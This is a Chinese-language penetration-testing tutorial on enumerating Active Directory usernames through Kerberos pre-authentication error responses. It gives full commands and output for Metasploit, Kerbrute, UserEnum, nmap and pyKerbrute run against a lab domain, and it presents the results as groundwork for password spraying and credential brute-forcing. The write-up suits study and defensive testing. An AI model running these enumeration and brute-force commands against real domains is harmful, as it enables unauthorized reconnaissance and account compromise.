0x00 简介
在之前的一编域渗透-Kerberos认证文章中已经写过kerberos的认证过程,这次写的是如何去枚举域中的用户名,得到用户名后我们才可以做下一步的操作,比如密码喷洒等。
0x01 认证过程分析
对于用户名枚举需要对根据以下错误信息来辨别用户名是否正确:
用户状态 | Kerberos 错误信息 |
---|---|
用户启用 | KDC_ERR_PREAUTH_REQUIRED |
用户锁定 | KDC_ERR_CLIENT_REVOKED |
用户不存在 | KDC_ERR_C_PRINCIPAL_UNKNOWN |
我们来看下用户不存在的AS_REQ包,主要是在cname的参数里面设置:
返回了一个PRINCIPAL_UNKNOWN 错误的包,:
那如果是用户名正确,密码不正确的包呢:
0x02 实战
从上面我们可以知道,通过返回不同的错误信息就可以知道是否存在正确的用户名,下面我们来通过几款枚举的工具进行实战。
Metasploit
aduser.txt
文件是用户名列表文件,需要设置域控IP地址、域名信息
msf6 > use auxiliary/gather/kerberos_enumusers
msf6 auxiliary(gather/kerberos_enumusers) > show options
Module options (auxiliary/gather/kerberos_enumusers):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN yes The Domain Eg: demo.local
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 88 yes The target port
Timeout 10 yes The TCP timeout to establish connection and read data
USER_FILE yes Files containing usernames, one per line
msf6 auxiliary(gather/kerberos_enumusers) > set rhosts 172.16.0.106
rhosts => 172.16.0.106
msf6 auxiliary(gather/kerberos_enumusers) > set user_file ~/aduser.txt
user_file => ~/aduser.txt
msf6 auxiliary(gather/kerberos_enumusers) > set domain hack.lab
domain => hack.lab
msf6 auxiliary(gather/kerberos_enumusers) > exploit
下面可以知道枚举出存在的域用户:
在运行完成之后会将结果保存在 metasploit 的数据库中,输入命令 creds
即可查看存在的用户。
这里要注意如果存在AS-REPRoasting漏洞的用户会出现报错
UserEnum
这个项目提供了三个脚本,分别是使用DsrGetDcNameEx2,CLDAP ping和NetBIOS MailSlot ping三种方法去枚举。
下载:
git clone https://github.com/sensepost/UserEnum.git
进入目录安装一下模块:
python2 -m pip install -r requirements.txt
这里如果还是报错记得安装下面的版本:
python2 -m pip install asn1tools==0.100.0
填写爆破信息,开始执行脚本:
python2 UserEnum_LDAP.py 172.16.0.106 hack.lab ~/aduser.txt
会显示出爆破出的域用户:
Kerbrute(Go)
Kerbrute会发送没有预认证的TGT请求。如果KDC响应主本文未知错误,则不存在用户名。但是,如果KDC提示预先验证,我们知道用户名存在,我们继续。这不会导致任何登录失败,因此它不会锁定任何帐户。如果启用了Kerberos日志记录,则会生成Windows事件ID 4768。
下载地址:
https://github.com/ropnop/kerbrute/releases/tag/v1.0.3
因为我的是kali,所以选择 kerbrute_linux_amd64
下面填写域名和文件信息即可:
┌──(oscp㉿oscp)-[~/tools/windows]
└─$ ./kerbrute_linux_amd64 userenum -d hack.lab ~/aduser.txt --dc 172.16.0.106
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 02/21/22 - Ronnie Flathers @ropnop
2022/02/21 21:21:28 > Using KDC(s):
2022/02/21 21:21:28 > 172.16.0.106:88
2022/02/21 21:21:28 > [+] VALID USERNAME: [email protected]
2022/02/21 21:21:28 > [+] VALID USERNAME: [email protected]
2022/02/21 21:21:28 > [+] VALID USERNAME: [email protected]
2022/02/21 21:21:28 > [+] VALID USERNAME: [email protected]
2022/02/21 21:21:28 > [+] VALID USERNAME: [email protected]
2022/02/21 21:21:28 > Done! Tested 8 usernames (5 valid) in 0.010 seconds
kerbrute(Python)
使用iPhacket库执行Kerberos Bruteforcing的脚本。
当执行时,作为输入,它会收到用户或密码列表或密码列表。然后是对枚举攻击进行枚举:
-
有效的用户名/密码对
-
有效的用户名
-
无需预先验证的用户名
因此,该脚本生成发现的有效凭据列表,而TGT生成的已生成这些有效凭据。
安装方法1:
sudo pip3 install kerbrute
安装方法2:
git clone https://github.com/TarlogicSecurity/kerbrute
cd kerbrute
pip install -r requirements.txt
可以看下命令参数:
root@kali:~# kerbrute
Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation
usage: kerbrute.py [-h] [-debug] (-user USER | -users USERS)
[-password PASSWORD | -passwords PASSWORDS] -domain DOMAIN
[-dc-ip <ip_address>] [-threads THREADS]
[-outputfile OUTPUTFILE] [-no-save-ticket]
optional arguments:
-h, --help show this help message and exit
-debug Turn DEBUG output ON
-user USER User to perform bruteforcing
-users USERS File with user per line
-password PASSWORD Password to perform bruteforcing
-passwords PASSWORDS File with password per line
-domain DOMAIN Domain to perform bruteforcing
-dc-ip <ip_address> IP Address of the domain controller
-threads THREADS Number of threads to perform bruteforcing. Default = 1
-outputfile OUTPUTFILE
File to save discovered user:password
-no-save-ticket Do not save retrieved TGTs with correct credentials
Examples:
./kerbrute.py -users users_file.txt -passwords passwords_file.txt -domain contoso.com
填写相关的信息,执行:
kerbrute -users ./aduser.txt -domain hack.lab -dc-ip 172.16.0.106
可以看到除了枚举域用户还可以检测出存在AS-REPRoasting漏洞的用户lucky:
krbguess
这个工具已经找不到下载地址了,我弄了一个放在了GitHub上,但是要求的java版本很低才能执行。
https://github.com/Secd0g/krbGuess/releases/tag/krbguess
命令参数:
Java –jar kerbguess.jar –r [domain] –d [user list] –s [DC IP]
Nmap krb5-enum-users NSE Script
使用的方法:
nmap --script krb5-enum-users –script-args krb5-enum-users.realm='[domain]',userdb=[user list][DC IP] -p 88
pyKerbrute
这是一款由3gstudent大佬改写的一款工具,使用Python快速BruteForce通过Kerberos预认证枚举有效的Active Directory帐户。
GitHub地址:https://github.com/3gstudent/pyKerbrute
git clone https://github.com/3gstudent/pyKerbrute
cd pyKerbrute
使用python2,因为kerberos是使用88端口进行通信的,可以使用tcp或者udp方式:
python2 EnumADUser.py 172.16.0.106 hack.lab ~/aduser.txt udp
枚举结果:
0x03 总结
本文主要是通过在没有账户密码情况下对dc进行域用户进行枚举,如果在域用户登录情况下可以使用net user /domain
来查询当前域的所有用户,但排除是在有权限查询的情况下,要不然你使用其他的工具也是白搭。
- 原文作者: F0rmat
- 原文链接: https://xxe.icu/kerberos_user_enumerate.html
- 版权声明:本作品采用 署名 - 非商业性使用 4.0 国际 (CC BY-NC 4.0)进行许可,非商业转载请注明出处(作者,原文链接),商业转载请联系作者获得授权。